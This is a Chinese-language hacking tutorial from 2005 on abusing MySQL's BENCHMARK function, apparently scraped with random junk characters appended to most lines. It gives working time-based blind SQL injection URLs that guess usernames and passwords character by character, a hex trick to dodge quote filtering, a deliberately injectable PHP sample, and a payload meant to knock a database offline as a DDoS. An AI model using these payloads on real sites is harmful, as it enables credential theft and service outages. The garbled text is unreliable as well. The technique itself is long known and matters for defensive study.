MYSQL中BENCHMARK函数的利用
# T$ _; R$ ^! d0 `) V7 f0 n本文作者:SuperHei3 [2 U6 |" @$ y& H. ]- }
文章性质:原创
7 f5 C6 Y7 X- h5 Z( A9 ] @发布日期:2005-01-02
6 M6 e4 P2 G' j" C. J完成日期:2004-07-09 T. T8 C3 i) X/ ?1 M, X( V- R7 }( ^
第一部/ N2 s9 r2 m1 r; T- z3 F2 N
/ s( t# e& b# M3 X, ^, [: S1 x利用时间推延进行注射---BENCHMARK函数在注射中的利用
& R+ P6 y8 K/ v, g$ {2 G/ R$ T* E1 N
一.前言/思路
, {) L! e2 _" T/ {% s- {! `! ~1 B5 f3 l F& V
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
: c0 e5 {% u! _% ~3 }0 |
% t+ [6 q' B' L; @# Z0 { 本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。4 F7 _: S/ N) h+ ?* |% N8 s; C
' f. L0 S- n& u, m! [
二.关于BENCHMARK函数
m, ?, j9 Q" ?3 f
" z2 x1 @! ]6 z2 }/ d; }" v8 E 在MySQL参考手册里可以看到如下描叙: R. A! _- @" F% F& J) v2 s& L, P
) Y( n' D+ E7 [* d4 E' P" t9 p
, j* g, i& K8 j8 v, S5 B$ K2 a
--------------------------------------------------------------------------------5 g0 d' Q+ ^2 L9 @4 |& F% S
" R5 m7 Z/ L" X$ Z6 x3 d# b. r0 g
BENCHMARK(count,expr) 3 Y7 ]- Z9 n, ?6 V) b7 H( b9 ~; O
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 , n& j1 |6 ?+ e, D0 g y
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
7 S; N4 n& |! U* V. O+ x+----------------------------------------------+
9 N% B" k, f) E1 ~6 _| BENCHMARK(1000000,encode("hello","goodbye")) |
0 Z8 A0 F5 ~! _- u+----------------------------------------------+
1 F) k- l: J D) f# T9 @| 0 |
5 R! L V( e' x" i2 B+----------------------------------------------+ ; `1 l& U" x, G( `( c0 }
1 row in set (4.74 sec) 5 [4 F5 @. @2 m0 y
- }' L2 t5 l0 `& p
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。$ A: e' d* s' u8 s, Q/ A' K* f
$ x+ e6 l9 B" q( T
& K) x( A& \9 k" t--------------------------------------------------------------------------------- g& w F" G8 g6 L5 z9 ?9 c( J- ^
2 q; |" c. A& T
只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
8 V$ [) e8 a, [' d6 J
+ w/ w0 K& a+ F$ E' K' r* Kmysql> select md5( 'test' ); . N8 i" j/ I5 t. i
+----------------------------------+
7 t. l: P4 U/ S. W9 F& G" w* f$ X1 q| md5( 'test' ) | , q% I8 y/ Y$ k' X. M! P' x
+----------------------------------+
3 s$ V0 K) z. Z7 x| 098f6bcd4621d373cade4e832627b4f6 | * _/ V- y ]- J3 U' ~9 f( c
+----------------------------------+
r, ?* d$ o {1 q5 j. s: G1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
: B* | i* m: K" _: v0 _/ f* y" F7 X$ {+ D6 ~: ?0 E0 t8 U
mysql> select benchmark( 500000, md5( 'test' ) ); , H$ `3 O' k' U# P
+------------------------------------+
0 j8 E# b2 y0 j# Z! X| benchmark( 500000, md5( 'test' ) ) |
6 Q' x7 g' H& X6 Y) l7 y+------------------------------------+ 3 q" g5 S) j3 N
| 0 | - s/ q3 x: I* S! d* c
+------------------------------------+ ( t) a" ^$ w3 r
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec" O$ U0 E4 A' `/ O" Y- x
0 N' c6 }4 G$ w" s
, a3 P/ U% V) f5 A( t; e" j& f' A8 m
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 # S% [# N4 [. Q& `
, W z* `! u A* x
三.具体例子1 ?: B/ G) \6 Z$ h6 a2 W- o
2 U# z4 ~3 E6 S" R! G6 o3 B
首先我们看个简单的php代码:& s7 V4 ?8 H: G2 U( d* C
) K9 X0 Y. [" b* k8 h
< ?php 8 i3 ~5 H4 Q9 E7 N, \
$servername = "localhost"; ' }& Z0 F8 j7 \! k$ }# |) ~1 Q3 Y
$dbusername = "root"; 6 m/ J6 r% z! |1 l
$dbpassword = ""; ; X0 N; F" t& p9 r% O# h, W
$dbname = "injection"; & a, m3 z( ^* F( C1 f$ c
0 C; M0 G* J1 o2 z3 Dmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 7 k8 f/ Q; h# k: t+ m" y% u
K: _" B$ \+ G! Q( d( B* Y
$sql = "SELECT * FROM article WHERE articleid=$id";
: @1 E$ a6 o! t8 i7 n1 Q+ m! q+ H$result = mysql_db_query($dbname,$sql); 6 c J- d1 E8 h; h2 S# z1 g+ o
$row = mysql_fetch_array($result);
' [$ I% p# L4 N) a* s1 s1 b7 p A& [' T ]7 g. p5 e
if (!$row)
, z1 C1 b2 @+ Y& r# g{
6 j. A: Z( K- ]: Z3 [/ C* w2 e4 Wexit; 0 g5 m! @% }* N( f9 ^
} : Y1 G2 V8 n% P+ X, {
?>4 K# B' e5 o6 d, L* I6 c5 }6 @& ~: K; t
0 K$ E3 I# x+ Y2 ] \
$ U- B, q. \6 s 数据库injection结构和内容如下:0 h% I" K7 N5 e1 P% h! K
, r, I2 y! r. j# 数据库 : `injection` - W/ [* @, D3 Y; v. } [; m) A* @
# % H7 \( ~5 C/ l& z3 c% h
; W* U, N& U l" [7 A6 a, s+ f+ r
# --------------------------------------------------------
. E2 @% v$ @3 r* C' m- G2 G5 ~8 i: S
#
! ~, S% I9 z% g& K: D0 ~# 表的结构 `article`
% @7 I, m. A7 K q" Y0 Q# 4 d7 N! M" r& ^+ r! P
6 k# v8 ~; F$ K9 k- e" u
CREATE TABLE `article` (
7 h" d: U* Y- y/ a; |`articleid` int(11) NOT NULL auto_increment, 3 x( `3 z; T- C$ e0 J( A( ^" w( h) m4 |
`title` varchar(100) NOT NULL default '', - A- A( W. t+ e8 A4 U2 u
`content` text NOT NULL,
$ r2 p& s4 k9 b3 WPRIMARY KEY (`articleid`)
& _& K9 R+ i2 ?) e+ x6 M) TYPE=MyISAM AUTO_INCREMENT=3 ; $ ]- B, {5 {( x* U
# Y$ y) W9 m8 z8 n1 o* L2 ~6 m#
, D! R. |8 G- g8 `6 f6 I3 m- k# 导出表中的数据 `article` ( Y4 t5 N0 d' E3 C) X2 I4 [9 z
#
) c ~% j' V3 a% D6 L5 t! C7 Z% H1 A7 ~. Z3 X- `" ^
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
; }9 L5 m9 d/ p& n! z2 r F7 g. uINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
* P' k1 o; p# @* ]
$ |. G, x' L$ Y3 f& D. p9 o5 Q# --------------------------------------------------------
: v( A" F) |5 X9 M, j
2 p% T/ X2 H. I& {# 4 Z$ V& [$ A+ n: K
# 表的结构 `user`
0 ~ y; P6 j, A* f# W) E4 R#
2 s2 |7 S# Z- f7 u" c5 j- Z4 T2 U) B
CREATE TABLE `user` (
: M% M9 z0 v$ \! f0 X) {: y0 ^`userid` int(11) NOT NULL auto_increment, / s6 T% I& E- O
`username` varchar(20) NOT NULL default '',
/ u+ S# l3 f9 e/ F2 l' ?`password` varchar(20) NOT NULL default '', 0 [8 K& h1 e2 F `* l( b# `
PRIMARY KEY (`userid`)
5 I9 T s( q, e& [0 ?1 c) TYPE=MyISAM AUTO_INCREMENT=3 ;
2 \ ?4 l: p0 c7 ?/ c5 c5 ^. I
#
5 @- q7 ~6 @ z# 导出表中的数据 `user`
2 c, i: V% w5 U K# 2 t* v r, c, x0 E) ~
8 {% N: y1 p/ C( }) S, l
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); 9 b. F" o! Y4 J) D
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');) I* @& b2 J6 o/ r4 d
7 i G$ v0 J' a% C$ a
7 w& X' \3 \4 W* k+ K5 n; @ p$ o+ x
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:. t( H; O5 o& q' B
% A- t% }5 q4 X# ?7 k/ d L/ d! U( nid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*0 j9 P. N5 q; o1 Q
; b2 ~% Z8 I6 h" d, b; ^& x+ ?3 r$ d+ S
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
# `1 g# h' ]3 {4 W$ S
3 O, F5 _. x0 h& i6 k- x: ^4 Ghttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
# k/ N" U9 b2 [ L- a % t0 ] h: x- U' U$ @2 P/ U
3 j% e, U( c7 q' d: }3 i
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
5 f3 i3 J- N+ q5 N1 v% W1 Q$ R
5 x6 |% o. U+ H# [+ g 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
8 r R @" F# ]; W
" b' M/ O/ e2 p+ ^9 O f) [4 C4 x8 a% C第二部
: b" @( W8 |" N$ ]
" O6 E. X1 [, w1 \# Y: D利用BENCHMARK函数进行ddos攻击 6 `9 J2 }( O$ u
; n* d/ M/ i1 W3 ]7 ?5 R
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:5 B* Z, s5 W" Y
" ?5 R8 e- x8 ]4 o
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))8 Y+ J" b- S+ R \) k( q
2 N' t4 L# ]# F( k9 P. a" m- G( |
% P- {/ v. y$ A- y" c, F
小结. s: {- t9 d9 v4 k0 G4 p5 k
3 b( k$ O0 O5 m; P3 \, ^5 {/ Y 本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
2 i" j) \* S& ] s1 C6 ?, ?1 [8 d Y8 O6 u
8 G8 ]/ S: [$ ^9 A; \+ y8 D
|